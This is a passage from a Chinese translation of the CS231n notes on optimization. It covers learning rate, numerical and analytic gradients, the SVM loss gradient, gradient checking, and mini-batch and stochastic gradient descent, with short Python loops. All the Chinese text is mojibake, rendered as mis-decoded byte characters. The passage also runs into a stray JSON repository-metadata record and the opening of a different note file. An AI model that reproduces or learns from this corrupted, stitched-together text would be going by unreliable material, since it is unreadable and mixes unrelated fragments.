ไธญๅฐฑ่ƒฝ็œ‹่งๅไพ‹๏ผŒๅœจๆŸไบ›็‚นๅฆ‚ๆžœๆญฅ้•ฟ่ฟ‡ๅคง๏ผŒๅ่€Œๅฏ่ƒฝ่ถŠ่ฟ‡ๆœ€ไฝŽ็‚นๅฏผ่‡ดๆ›ด้ซ˜็š„ๆŸๅคฑๅ€ผใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/04/5b8e08d260b47.png)\n\nๅฐ†ๆญฅ้•ฟๆ•ˆๆžœ่ง†่ง‰ๅŒ–็š„ๅ›พไพ‹ใ€‚ไปŽๆŸไธชๅ…ทไฝ“็š„็‚นWๅผ€ๅง‹่ฎก็ฎ—ๆขฏๅบฆ๏ผˆ็™ฝ็ฎญๅคดๆ–นๅ‘ๆ˜ฏ่ดŸๆขฏๅบฆๆ–นๅ‘๏ผ‰๏ผŒๆขฏๅบฆๅ‘Š่ฏ‰ไบ†ๆˆ‘ไปฌๆŸๅคฑๅ‡ฝๆ•ฐไธ‹้™ๆœ€้™กๅณญ็š„ๆ–นๅ‘ใ€‚ๅฐๆญฅ้•ฟไธ‹้™็จณๅฎšไฝ†่ฟ›ๅบฆๆ…ข๏ผŒๅคงๆญฅ้•ฟ่ฟ›ๅฑ•ๅฟซไฝ†ๆ˜ฏ้ฃŽ้™ฉๆ›ดๅคงใ€‚้‡‡ๅ–ๅคงๆญฅ้•ฟๅฏ่ƒฝๅฏผ่‡ด้”™่ฟ‡ๆœ€ไผ˜็‚น๏ผŒ่ฎฉๆŸๅคฑๅ€ผไธŠๅ‡ใ€‚ๆญฅ้•ฟ๏ผˆๅŽ้ขไผš็งฐๅ…ถไธบ**ๅญฆไน ็Ž‡**๏ผ‰ๅฐ†ไผšๆ˜ฏๆˆ‘ไปฌๅœจ่ฐƒๅ‚ไธญๆœ€้‡่ฆ็š„่ถ…ๅ‚ๆ•ฐไน‹ไธ€ใ€‚\n\n---\n\n**ๆ•ˆ็Ž‡้—ฎ้ข˜**๏ผšไฝ ๅฏ่ƒฝๅทฒ็ปๆณจๆ„ๅˆฐ๏ผŒ่ฎก็ฎ—ๆ•ฐๅ€ผๆขฏๅบฆ็š„ๅคๆ‚ๆ€งๅ’Œๅ‚ๆ•ฐ็š„้‡็บฟๆ€ง็›ธๅ…ณใ€‚ๅœจๆœฌไพ‹ไธญๆœ‰30730ไธชๅ‚ๆ•ฐ๏ผŒๆ‰€ไปฅๆŸๅคฑๅ‡ฝๆ•ฐๆฏ่ตฐไธ€ๆญฅๅฐฑ้œ€่ฆ่ฎก็ฎ—30731ๆฌกๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆขฏๅบฆใ€‚็Žฐไปฃ็ฅž็ป็ฝ‘็ปœๅพˆๅฎนๆ˜“ๅฐฑๆœ‰ไธŠๅƒไธ‡็š„ๅ‚ๆ•ฐ๏ผŒๅ› ๆญค่ฟ™ไธช้—ฎ้ข˜ๅชไผš่ถŠๅ‘ไธฅๅณปใ€‚ๆ˜พ็„ถ่ฟ™ไธช็ญ–็•ฅไธ้€‚ๅˆๅคง่ง„ๆจกๆ•ฐๆฎ๏ผŒๆˆ‘ไปฌ้œ€่ฆๆ›ดๅฅฝ็š„็ญ–็•ฅใ€‚\n\n\n\n### ๅพฎๅˆ†ๅˆ†ๆž่ฎก็ฎ—ๆขฏๅบฆ\n\nไฝฟ็”จๆœ‰้™ๅทฎๅ€ผ่ฟ‘ไผผ่ฎก็ฎ—ๆขฏๅบฆๆฏ”่พƒ็ฎ€ๅ•๏ผŒไฝ†็ผบ็‚นๅœจไบŽ็ปˆ็ฉถๅชๆ˜ฏ่ฟ‘ไผผ๏ผˆๅ› ไธบๆˆ‘ไปฌๅฏนไบŽ*h*ๅ€ผๆ˜ฏ้€‰ๅ–ไบ†ไธ€ไธชๅพˆๅฐ็š„ๆ•ฐๅ€ผ๏ผŒไฝ†็œŸๆญฃ็š„ๆขฏๅบฆๅฎšไน‰ไธญ*h*่ถ‹ๅ‘0็š„ๆž้™๏ผ‰๏ผŒไธ”่€—่ดน่ฎก็ฎ—่ต„ๆบๅคชๅคšใ€‚็ฌฌไบŒไธชๆขฏๅบฆ่ฎก็ฎ—ๆ–นๆณ•ๆ˜ฏๅˆฉ็”จๅพฎๅˆ†ๆฅๅˆ†ๆž๏ผŒ่ƒฝๅพ—ๅˆฐ่ฎก็ฎ—ๆขฏๅบฆ็š„ๅ…ฌๅผ๏ผˆไธๆ˜ฏ่ฟ‘ไผผ๏ผ‰๏ผŒ็”จๅ…ฌๅผ่ฎก็ฎ—ๆขฏๅบฆ้€Ÿๅบฆๅพˆๅฟซ๏ผŒๅ”ฏไธ€ไธๅฅฝ็š„ๅฐฑๆ˜ฏๅฎž็Žฐ็š„ๆ—ถๅ€™ๅฎนๆ˜“ๅ‡บ้”™ใ€‚ไธบไบ†่งฃๅ†ณ่ฟ™ไธช้—ฎ้ข˜๏ผŒๅœจๅฎž้™…ๆ“ไฝœๆ—ถๅธธๅธธๅฐ†ๅˆ†ๆžๆขฏๅบฆๆณ•็š„็ป“ๆžœๅ’Œๆ•ฐๅ€ผๆขฏๅบฆๆณ•็š„็ป“ๆžœไฝœๆฏ”่พƒ๏ผŒไปฅๆญคๆฅๆฃ€ๆŸฅๅ…ถๅฎž็Žฐ็š„ๆญฃ็กฎๆ€ง๏ผŒ่ฟ™ไธชๆญฅ้ชคๅซๅš**ๆขฏๅบฆๆฃ€ๆŸฅ**ใ€‚\n\n็”จSVM็š„ๆŸๅคฑๅ‡ฝๆ•ฐๅœจๆŸไธชๆ•ฐๆฎ็‚นไธŠ็š„่ฎก็ฎ—ๆฅไธพไพ‹๏ผš\n$$\nL_i=\\sum_{j\\neq y_i}[\\max(0,w^T_jx_i-w^T_{y_i}x_i+\\Delta)]\n$$\nๅฏไปฅๅฏนๅ‡ฝๆ•ฐ่ฟ›่กŒๅพฎๅˆ†ใ€‚ๆฏ”ๅฆ‚๏ผŒๅฏน$w_{y_i}$่ฟ›่กŒๅพฎๅˆ†ๅพ—ๅˆฐ๏ผš\n$$\n\\nabla_{w_{y_i}}L_i=-(\\sum_{j\\neq y_i}\\mathbb{1}(w^T_jx_i-w^T_{y_i}x_i+\\Delta>0))x_i\n$$\n**่ฏ‘่€…ๆณจ๏ผšๅŽŸๅ…ฌๅผไธญ1ไธบ็ฉบๅฟƒๅญ—ไฝ“๏ผŒๅฐ่ฏ•\\mathbb{}็ญ‰ๅคš็งๆ–นๆณ•ไปๆ— ๆณ•ๅฎž็Žฐ๏ผŒ่ฏท็Ÿฅๅ‹ๆŒ‡็‚นใ€‚**\n\nๅ…ถไธญ![1](http://www.zhihu.com/equation?tex=1)ๆ˜ฏไธ€ไธช็คบๆ€งๅ‡ฝๆ•ฐ๏ผŒๅฆ‚ๆžœๆ‹ฌๅทไธญ็š„ๆกไปถไธบ็œŸ๏ผŒ้‚ฃไนˆๅ‡ฝๆ•ฐๅ€ผไธบ1๏ผŒๅฆ‚ๆžœไธบๅ‡๏ผŒๅˆ™ๅ‡ฝๆ•ฐๅ€ผไธบ0ใ€‚่™ฝ็„ถไธŠ่ฟฐๅ…ฌๅผ็œ‹่ตทๆฅๅคๆ‚๏ผŒไฝ†ๅœจไปฃ็ ๅฎž็Žฐ็š„ๆ—ถๅ€™ๆฏ”่พƒ็ฎ€ๅ•๏ผšๅช้œ€่ฆ่ฎก็ฎ—ๆฒกๆœ‰ๆปก่ถณ่พน็•Œๅ€ผ็š„ๅˆ†็ฑป็š„ๆ•ฐ้‡๏ผˆๅ› ๆญคๅฏนๆŸๅคฑๅ‡ฝๆ•ฐไบง็”Ÿไบ†่ดก็Œฎ๏ผ‰๏ผŒ็„ถๅŽไน˜ไปฅ$x_i$ๅฐฑๆ˜ฏๆขฏๅบฆไบ†ใ€‚ๆณจๆ„๏ผŒ่ฟ™ไธชๆขฏๅบฆๅชๆ˜ฏๅฏนๅบ”ๆญฃ็กฎๅˆ†็ฑป็š„W็š„่กŒๅ‘้‡็š„ๆขฏๅบฆ๏ผŒ้‚ฃไบ›$j\\not =y_i$่กŒ็š„ๆขฏๅบฆๆ˜ฏ๏ผš\n$$\n\\nabla_{w_j}L_i=\\mathbb{1}(w^T_jx_i-w^T_{y_i}x_i+\\Delta>0)x_i\n$$\nไธ€ๆ—ฆๅฐ†ๆขฏๅบฆ็š„ๅ…ฌๅผๅพฎๅˆ†ๅ‡บๆฅ๏ผŒไปฃ็ ๅฎž็Žฐๅ…ฌๅผๅนถ็”จไบŽๆขฏๅบฆๆ›ดๆ–ฐๅฐฑๆฏ”่พƒ้กบ็•…ไบ†ใ€‚\n\n## ๆขฏๅบฆไธ‹้™\n\n็Žฐๅœจๅฏไปฅ่ฎก็ฎ—ๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆขฏๅบฆไบ†๏ผŒ็จ‹ๅบ้‡ๅคๅœฐ่ฎก็ฎ—ๆขฏๅบฆ็„ถๅŽๅฏนๅ‚ๆ•ฐ่ฟ›่กŒๆ›ดๆ–ฐ๏ผŒ่ฟ™ไธ€่ฟ‡็จ‹็งฐไธบ*ๆขฏๅบฆไธ‹้™*๏ผŒไป–็š„**ๆ™ฎ้€š**็‰ˆๆœฌๆ˜ฏ่ฟ™ๆ ท็š„๏ผš\n\n```python\n# ๆ™ฎ้€š็š„ๆขฏๅบฆไธ‹้™\nwhile True:\n \tweights_grad = evaluate_gradient(loss_fun, data, weights)\n \tweights += - step_size * weights_grad # ่ฟ›่กŒๆขฏๅบฆๆ›ดๆ–ฐ\n```\n\n่ฟ™ไธช็ฎ€ๅ•็š„ๅพช็Žฏๅœจๆ‰€ๆœ‰็š„็ฅž็ป็ฝ‘็ปœๆ ธๅฟƒๅบ“ไธญ้ƒฝๆœ‰ใ€‚่™ฝ็„ถไนŸๆœ‰ๅ…ถไป–ๅฎž็Žฐๆœ€ไผ˜ๅŒ–็š„ๆ–นๆณ•๏ผˆๆฏ”ๅฆ‚LBFGS๏ผ‰๏ผŒไฝ†ๆ˜ฏๅˆฐ็›ฎๅ‰ไธบๆญข๏ผŒๆขฏๅบฆไธ‹้™ๆ˜ฏๅฏน็ฅž็ป็ฝ‘็ปœ็š„ๆŸๅคฑๅ‡ฝๆ•ฐๆœ€ไผ˜ๅŒ–ไธญๆœ€ๅธธ็”จ็š„ๆ–นๆณ•ใ€‚่ฏพ็จ‹ไธญ๏ผŒๆˆ‘ไปฌไผšๅœจๅฎƒ็š„ๅพช็Žฏ็ป†่Š‚ๅขžๅŠ ไธ€ไบ›ๆ–ฐ็š„ไธœ่ฅฟ๏ผˆๆฏ”ๅฆ‚ๆ›ดๆ–ฐ็š„ๅ…ทไฝ“ๅ…ฌๅผ๏ผ‰๏ผŒไฝ†ๆ˜ฏๆ ธๅฟƒๆ€ๆƒณไธๅ˜๏ผŒ้‚ฃๅฐฑๆ˜ฏๆˆ‘ไปฌไธ€็›ด่ทŸ็€ๆขฏๅบฆ่ตฐ๏ผŒ็›ดๅˆฐ็ป“ๆžœไธๅ†ๅ˜ๅŒ–ใ€‚\n\n**ๅฐๆ‰น้‡ๆ•ฐๆฎๆขฏๅบฆไธ‹้™๏ผˆMini-batch gradient descent๏ผ‰**๏ผšๅœจๅคง่ง„ๆจก็š„ๅบ”็”จไธญ๏ผˆๆฏ”ๅฆ‚ILSVRCๆŒ‘ๆˆ˜่ต›๏ผ‰๏ผŒ่ฎญ็ปƒๆ•ฐๆฎๅฏไปฅ่พพๅˆฐ็™พไธ‡็บง้‡็บงใ€‚ๅฆ‚ๆžœๅƒ่ฟ™ๆ ท่ฎก็ฎ—ๆ•ดไธช่ฎญ็ปƒ้›†๏ผŒๆฅ่Žทๅพ—ไป…ไป…ไธ€ไธชๅ‚ๆ•ฐ็š„ๆ›ดๆ–ฐๅฐฑๅคชๆตช่ดนไบ†ใ€‚ไธ€ไธชๅธธ็”จ็š„ๆ–นๆณ•ๆ˜ฏ่ฎก็ฎ—่ฎญ็ปƒ้›†ไธญ็š„**ๅฐๆ‰น้‡๏ผˆbatches๏ผ‰**ๆ•ฐๆฎใ€‚ไพ‹ๅฆ‚๏ผŒๅœจ็›ฎๅ‰ๆœ€้ซ˜ๆฐดๅนณ็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœไธญ๏ผŒไธ€ไธชๅ…ธๅž‹็š„ๅฐๆ‰น้‡ๅŒ…ๅซ256ไธชไพ‹ๅญ๏ผŒ่€Œๆ•ดไธช่ฎญ็ปƒ้›†ๆ˜ฏๅคšๅฐ‘ๅ‘ข๏ผŸไธ€็™พไบŒๅไธ‡ไธชใ€‚่ฟ™ไธชๅฐๆ‰น้‡ๆ•ฐๆฎๅฐฑ็”จๆฅๅฎž็Žฐไธ€ไธชๅ‚ๆ•ฐๆ›ดๆ–ฐ๏ผš\n\n```python\n# ๆ™ฎ้€š็š„ๅฐๆ‰น้‡ๆ•ฐๆฎๆขฏๅบฆไธ‹้™\nwhile True:\n data_batch = sample_training_data(data, 256) # 256ไธชๆ•ฐๆฎ\n weights_grad = evaluate_gradient(loss_fun, data_batch, weights)\n weights += - step_size * weights_grad # ๅ‚ๆ•ฐๆ›ดๆ–ฐ\n```\n\n่ฟ™ไธชๆ–นๆณ•ไน‹ๆ‰€ไปฅๆ•ˆๆžœไธ้”™๏ผŒๆ˜ฏๅ› ไธบ่ฎญ็ปƒ้›†ไธญ็š„ๆ•ฐๆฎ้ƒฝๆ˜ฏ็›ธๅ…ณ็š„ใ€‚่ฆ็†่งฃ่ฟ™ไธ€็‚น๏ผŒๅฏไปฅๆƒณ่ฑกไธ€ไธชๆž็ซฏๆƒ…ๅ†ต๏ผšๅœจILSVRCไธญ็š„120ไธ‡ไธชๅ›พๅƒๆ˜ฏ1000ๅผ ไธๅŒๅ›พ็‰‡็š„ๅคๅˆถ๏ผˆๆฏไธช็ฑปๅˆซ1ๅผ ๅ›พ็‰‡๏ผŒๆฏๅผ ๅ›พ็‰‡ๆœ‰1200ๅผ ๅคๅˆถ๏ผ‰ใ€‚้‚ฃไนˆๆ˜พ็„ถ่ฎก็ฎ—่ฟ™1200ๅผ ๅคๅˆถๅ›พๅƒ็š„ๆขฏๅบฆๅฐฑๅบ”่ฏฅๆ˜ฏไธ€ๆ ท็š„ใ€‚ๅฏนๆฏ”120ไธ‡ๅผ ๅ›พ็‰‡็š„ๆ•ฐๆฎๆŸๅคฑ็š„ๅ‡ๅ€ผไธŽๅช่ฎก็ฎ—1000ๅผ ็š„ๅญ้›†็š„ๆ•ฐๆฎๆŸๅคฑๅ‡ๅ€ผๆ—ถ๏ผŒ็ป“ๆžœๅบ”่ฏฅๆ˜ฏไธ€ๆ ท็š„ใ€‚ๅฎž้™…ๆƒ…ๅ†ตไธญ๏ผŒๆ•ฐๆฎ้›†่‚ฏๅฎšไธไผšๅŒ…ๅซ้‡ๅคๅ›พๅƒ๏ผŒ<u>้‚ฃไนˆๅฐๆ‰น้‡ๆ•ฐๆฎ็š„ๆขฏๅบฆๅฐฑๆ˜ฏๅฏนๆ•ดไธชๆ•ฐๆฎ้›†ๆขฏๅบฆ็š„ไธ€ไธช่ฟ‘ไผผ</u>ใ€‚ๅ› ๆญค๏ผŒ<u>ๅœจๅฎž่ทตไธญ้€š่ฟ‡่ฎก็ฎ—ๅฐๆ‰น้‡ๆ•ฐๆฎ็š„ๆขฏๅบฆๅฏไปฅๅฎž็Žฐๆ›ดๅฟซ้€Ÿๅœฐๆ”ถๆ•›๏ผŒๅนถไปฅๆญคๆฅ่ฟ›่กŒๆ›ด้ข‘็น็š„ๅ‚ๆ•ฐๆ›ดๆ–ฐ</u>ใ€‚\n\nๅฐๆ‰น้‡ๆ•ฐๆฎ็ญ–็•ฅๆœ‰ไธชๆž็ซฏๆƒ…ๅ†ต๏ผŒ้‚ฃๅฐฑๆ˜ฏๆฏไธชๆ‰น้‡ไธญๅชๆœ‰1ไธชๆ•ฐๆฎๆ ทๆœฌ๏ผŒ่ฟ™็ง็ญ–็•ฅ่ขซ็งฐไธบ**้šๆœบๆขฏๅบฆไธ‹้™๏ผˆStochastic Gradient Descent ็ฎ€็งฐSGD๏ผ‰**๏ผŒๆœ‰ๆ—ถๅ€™ไนŸ่ขซ็งฐไธบๅœจ็บฟๆขฏๅบฆไธ‹้™ใ€‚่ฟ™็ง็ญ–็•ฅๅœจๅฎž้™…ๆƒ…ๅ†ตไธญ็›ธๅฏนๅฐ‘่ง๏ผŒๅ› ไธบๅ‘้‡ๅŒ–ๆ“ไฝœ็š„ไปฃ็ ไธ€ๆฌก่ฎก็ฎ—100ไธชๆ•ฐๆฎๆฏ”100ๆฌก่ฎก็ฎ—1ไธชๆ•ฐๆฎ่ฆ้ซ˜ๆ•ˆๅพˆๅคšใ€‚ๅณไฝฟSGDๅœจๆŠ€ๆœฏไธŠๆ˜ฏๆŒ‡ๆฏๆฌกไฝฟ็”จ1ไธชๆ•ฐๆฎๆฅ่ฎก็ฎ—ๆขฏๅบฆ๏ผŒไฝ ่ฟ˜ๆ˜ฏไผšๅฌๅˆฐไบบไปฌไฝฟ็”จSGDๆฅๆŒ‡ไปฃๅฐๆ‰น้‡ๆ•ฐๆฎๆขฏๅบฆไธ‹้™๏ผˆๆˆ–่€…็”จMGDๆฅๆŒ‡ไปฃๅฐๆ‰น้‡ๆ•ฐๆฎๆขฏๅบฆไธ‹้™๏ผŒ่€ŒBGDๆฅๆŒ‡ไปฃๅˆ™็›ธๅฏนๅฐ‘่ง๏ผ‰ใ€‚ๅฐๆ‰น้‡ๆ•ฐๆฎ็š„ๅคงๅฐๆ˜ฏไธ€ไธช่ถ…ๅ‚ๆ•ฐ๏ผŒไฝ†ๆ˜ฏไธ€่ˆฌๅนถไธ้œ€่ฆ้€š่ฟ‡ไบคๅ‰้ชŒ่ฏๆฅ่ฐƒๅ‚ใ€‚ๅฎƒไธ€่ˆฌ็”ฑๅญ˜ๅ‚จๅ™จ็š„้™ๅˆถๆฅๅ†ณๅฎš็š„๏ผŒๆˆ–่€…ๅนฒ่„†่ฎพ็ฝฎไธบๅŒๆ ทๅคงๅฐ๏ผŒๆฏ”ๅฆ‚32๏ผŒ64๏ผŒ128็ญ‰ใ€‚ไน‹ๆ‰€ไปฅ<u>ไฝฟ็”จ2็š„ๆŒ‡ๆ•ฐ๏ผŒๆ˜ฏๅ› ไธบๅœจๅฎž้™…ไธญ่ฎธๅคšๅ‘้‡ๅŒ–ๆ“ไฝœๅฎž็Žฐ็š„ๆ—ถๅ€™๏ผŒๅฆ‚ๆžœ่พ“ๅ…ฅๆ•ฐๆฎ้‡ๆ˜ฏ2็š„ๅ€ๆ•ฐ๏ผŒ้‚ฃไนˆ่ฟ็ฎ—ๆ›ดๅฟซ</u>ใ€‚\n\n## ๅฐ็ป“\n\n---\n\n![](https://i.loli.net/2018/09/04/5b8e08e6512f5.png)\n\nไฟกๆฏๆต็š„ๆ€ป็ป“ๅ›พไพ‹ใ€‚ๆ•ฐๆฎ้›†ไธญ็š„(x,y)ๆ˜ฏ็ป™ๅฎš็š„ใ€‚ๆƒ้‡ไปŽไธ€ไธช้šๆœบๆ•ฐๅญ—ๅผ€ๅง‹๏ผŒไธ”ๅฏไปฅๆ”นๅ˜ใ€‚ๅœจๅ‰ๅ‘ไผ ๆ’ญๆ—ถ๏ผŒ่ฏ„ๅˆ†ๅ‡ฝๆ•ฐ่ฎก็ฎ—ๅ‡บ็ฑปๅˆซ็š„ๅˆ†็ฑป่ฏ„ๅˆ†ๅนถๅญ˜ๅ‚จๅœจๅ‘้‡**f**ไธญใ€‚ๆŸๅคฑๅ‡ฝๆ•ฐๅŒ…ๅซไธคไธช้ƒจๅˆ†๏ผšๆ•ฐๆฎๆŸๅคฑๅ’Œๆญฃๅˆ™ๅŒ–ๆŸๅคฑใ€‚ๅ…ถไธญ๏ผŒๆ•ฐๆฎๆŸๅคฑ่ฎก็ฎ—็š„ๆ˜ฏๅˆ†็ฑป่ฏ„ๅˆ†fๅ’Œๅฎž้™…ๆ ‡็ญพyไน‹้—ด็š„ๅทฎๅผ‚๏ผŒๆญฃๅˆ™ๅŒ–ๆŸๅคฑๅชๆ˜ฏไธ€ไธชๅ…ณไบŽๆƒ้‡็š„ๅ‡ฝๆ•ฐใ€‚ๅœจๆขฏๅบฆไธ‹้™่ฟ‡็จ‹ไธญ๏ผŒๆˆ‘ไปฌ่ฎก็ฎ—ๆƒ้‡็š„ๆขฏๅบฆ๏ผˆๅฆ‚ๆžœๆ„ฟๆ„็š„่ฏ๏ผŒไนŸๅฏไปฅ่ฎก็ฎ—ๆ•ฐๆฎไธŠ็š„ๆขฏๅบฆ๏ผ‰๏ผŒ็„ถๅŽไฝฟ็”จๅฎƒไปฌๆฅๅฎž็Žฐๅ‚ๆ•ฐ็š„ๆ›ดๆ–ฐใ€‚\n\n---\n\nๅœจๆœฌ่Š‚่ฏพไธญ๏ผš\n\n- ๅฐ†ๆŸๅคฑๅ‡ฝๆ•ฐๆฏ”ไฝœไบ†ไธ€ไธช**้ซ˜็ปดๅบฆ็š„ๆœ€ไผ˜ๅŒ–ๅœฐๅฝข**๏ผŒๅนถๅฐ่ฏ•ๅˆฐ่พพๅฎƒ็š„ๆœ€ๅบ•้ƒจใ€‚ๆœ€ไผ˜ๅŒ–็š„ๅทฅไฝœ่ฟ‡็จ‹ๅฏไปฅ็œ‹ๅšไธ€ไธช่’™็€็œผ็›็š„ๅพ’ๆญฅ่€…ๅธŒๆœ›ๆ‘ธ็ดข็€่ตฐๅˆฐๅฑฑ็š„ๅบ•้ƒจใ€‚ๅœจไพ‹ๅญไธญ๏ผŒๅฏ่งSVM็š„ๆŸๅคฑๅ‡ฝๆ•ฐๆ˜ฏๅˆ†ๆฎต็บฟๆ€ง็š„๏ผŒๅนถไธ”ๆ˜ฏ็ข—็Šถ็š„ใ€‚\n- ๆๅ‡บไบ†่ฟญไปฃไผ˜ๅŒ–็š„ๆ€ๆƒณ๏ผŒไปŽไธ€ไธช้šๆœบ็š„ๆƒ้‡ๅผ€ๅง‹๏ผŒ็„ถๅŽไธ€ๆญฅๆญฅๅœฐ่ฎฉๆŸๅคฑๅ€ผๅ˜ๅฐ๏ผŒ็›ดๅˆฐๆœ€ๅฐใ€‚\n- ๅ‡ฝๆ•ฐ็š„**ๆขฏๅบฆ**็ป™ๅ‡บไบ†่ฏฅๅ‡ฝๆ•ฐๆœ€้™กๅณญ็š„ไธŠๅ‡ๆ–นๅ‘ใ€‚ไป‹็ปไบ†ๅˆฉ็”จๆœ‰้™็š„ๅทฎๅ€ผๆฅ่ฟ‘ไผผ่ฎก็ฎ—ๆขฏๅบฆ็š„ๆ–นๆณ•๏ผŒ่ฏฅๆ–นๆณ•ๅฎž็Žฐ็ฎ€ๅ•ไฝ†ๆ˜ฏๆ•ˆ็Ž‡่พƒไฝŽ๏ผˆๆœ‰้™ๅทฎๅ€ผๅฐฑๆ˜ฏ*h*๏ผŒ็”จๆฅ่ฎก็ฎ—ๆ•ฐๅ€ผๆขฏๅบฆ๏ผ‰ใ€‚\n- ๅ‚ๆ•ฐๆ›ดๆ–ฐ้œ€่ฆๆœ‰ๆŠ€ๅทงๅœฐ่ฎพ็ฝฎ**ๆญฅ้•ฟ**ใ€‚ไนŸๅซๅญฆไน ็Ž‡ใ€‚ๅฆ‚ๆžœๆญฅ้•ฟๅคชๅฐ๏ผŒ่ฟ›ๅบฆ็จณๅฎšไฝ†ๆ˜ฏ็ผ“ๆ…ข๏ผŒๅฆ‚ๆžœๆญฅ้•ฟๅคชๅคง๏ผŒ่ฟ›ๅบฆๅฟซไฝ†ๆ˜ฏๅฏ่ƒฝๆœ‰้ฃŽ้™ฉใ€‚\n- ่ฎจ่ฎบๆƒ่กกไบ†ๆ•ฐๅ€ผๆขฏๅบฆๆณ•ๅ’Œๅˆ†ๆžๆขฏๅบฆๆณ•ใ€‚ๆ•ฐๅ€ผๆขฏๅบฆๆณ•่ฎก็ฎ—็ฎ€ๅ•๏ผŒไฝ†็ป“ๆžœๅชๆ˜ฏ่ฟ‘ไผผไธ”่€—่ดน่ฎก็ฎ—่ต„ๆบใ€‚ๅˆ†ๆžๆขฏๅบฆๆณ•่ฎก็ฎ—ๅ‡†็กฎ่ฟ…้€Ÿไฝ†ๆ˜ฏๅฎž็Žฐๅฎนๆ˜“ๅ‡บ้”™๏ผŒ่€Œไธ”้œ€่ฆๅฏนๆขฏๅบฆๅ…ฌๅผ่ฟ›่กŒๆŽจๅฏผ็š„ๆ•ฐๅญฆๅŸบๆœฌๅŠŸใ€‚ๅ› ๆญค๏ผŒๅœจๅฎž้™…ไธญไฝฟ็”จๅˆ†ๆžๆขฏๅบฆๆณ•๏ผŒ็„ถๅŽไฝฟ็”จ**ๆขฏๅบฆๆฃ€ๆŸฅ**ๆฅๆฃ€ๆŸฅๅ…ถๅฎž็Žฐๆญฃ็กฎไธŽๅฆ๏ผŒๅ…ถๆœฌ่ดจๅฐฑๆ˜ฏๅฐ†ๅˆ†ๆžๆขฏๅบฆๆณ•็š„็ป“ๆžœไธŽๆ•ฐๅ€ผๆขฏๅบฆๆณ•็š„่ฎก็ฎ—็ป“ๆžœๅฏนๆฏ”ใ€‚\n- ไป‹็ปไบ†**ๆขฏๅบฆไธ‹้™**็ฎ—ๆณ•๏ผŒๅฎƒๅœจๅพช็Žฏไธญ่ฟญไปฃๅœฐ่ฎก็ฎ—ๆขฏๅบฆๅนถๆ›ดๆ–ฐๅ‚ๆ•ฐใ€‚\n\n**้ข„ๅ‘Š**๏ผš่ฟ™่Š‚่ฏพ็š„ๆ ธๅฟƒๅ†…ๅฎนๆ˜ฏ๏ผš็†่งฃๅนถ่ƒฝ่ฎก็ฎ—ๆŸๅคฑๅ‡ฝๆ•ฐๅ…ณไบŽๆƒ้‡็š„ๆขฏๅบฆ๏ผŒๆ˜ฏ่ฎพ่ฎกใ€่ฎญ็ปƒๅ’Œ็†่งฃ็ฅž็ป็ฝ‘็ปœ็š„ๆ ธๅฟƒ่ƒฝๅŠ›ใ€‚ไธ‹่Š‚ไธญ๏ผŒๅฐ†ไป‹็ปๅฆ‚ไฝ•ไฝฟ็”จ้“พๅผๆณ•ๅˆ™ๆฅ้ซ˜ๆ•ˆๅœฐ่ฎก็ฎ—ๆขฏๅบฆ๏ผŒไนŸๅฐฑๆ˜ฏ้€šๅธธๆ‰€่ฏด็š„**ๅๅ‘ไผ ๆ’ญ๏ผˆbackpropagation๏ผ‰ๆœบๅˆถ**ใ€‚่ฏฅๆœบๅˆถ่ƒฝๅคŸๅฏนๅŒ…ๅซๅท็งฏ็ฅž็ป็ฝ‘็ปœๅœจๅ†…็š„ๅ‡ ไนŽๆ‰€ๆœ‰็ฑปๅž‹็š„็ฅž็ป็ฝ‘็ปœ็š„ๆŸๅคฑๅ‡ฝๆ•ฐ่ฟ›่กŒ้ซ˜ๆ•ˆ็š„ๆœ€ไผ˜ๅŒ–ใ€‚\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./CS231n_optimization_note.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n" }, { "alpha_fraction": 0.770143449306488, "alphanum_fraction": 0.8002530932426453, "avg_line_length": 36.5544548034668, "blob_id": "b1c36e50ae82cba9805131e9e0ae240495e9672d", "content_id": "da821ac2181c24eb919c65f4e9b86cb5e906cd68", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 41740, "license_type": "no_license", "max_line_length": 535, "num_lines": 505, "path": "/blog/cs231n/CS231n_Neural_Nets_notes_3.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n - Neural Nets notes 3\ndate: 2018-08-26\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n# CS231n่ฏพ็จ‹่ฎฒไน‰็ฟป่ฏ‘๏ผš็ฅž็ป็ฝ‘็ปœ3\n\n> **่‡ชๆณจ**๏ผšๆญคๆ–‡ๆ˜ฏๅœจ่ฝฌ่ฝฝ็š„ๅŸบ็ก€ไธŠ๏ผŒ้€š่ฟ‡็ฝ‘็ปœๆœ้›†ๅ…ถไป–็›ธๅ…ณๅญฆไน ่ต„ๆ–™๏ผŒๅ†็ป“ๅˆ่‡ชๅทฑ็†่งฃๅ‰ๆไธ‹๏ผŒๅกซๅ……ๅนถๆณจ้‡Šไบ†ๆ›ดๅคš็š„็ป†่Š‚ๅ’Œๅ†…ๅฎน๏ผŒไปฅๆญค่ฏฆๅฐฝ็š„ๆ–‡ๆœฌ่ต„ๆ–™ไปฃๆ›ฟๅ„็ง่ง†้ข‘่ฏพ็จ‹็ญ‰่ต„ๆ–™๏ผŒๆ–นไพฟ่‡ชๅทฑๅ›žๅคด็ฟปๆŸฅใ€‚\n>\n> 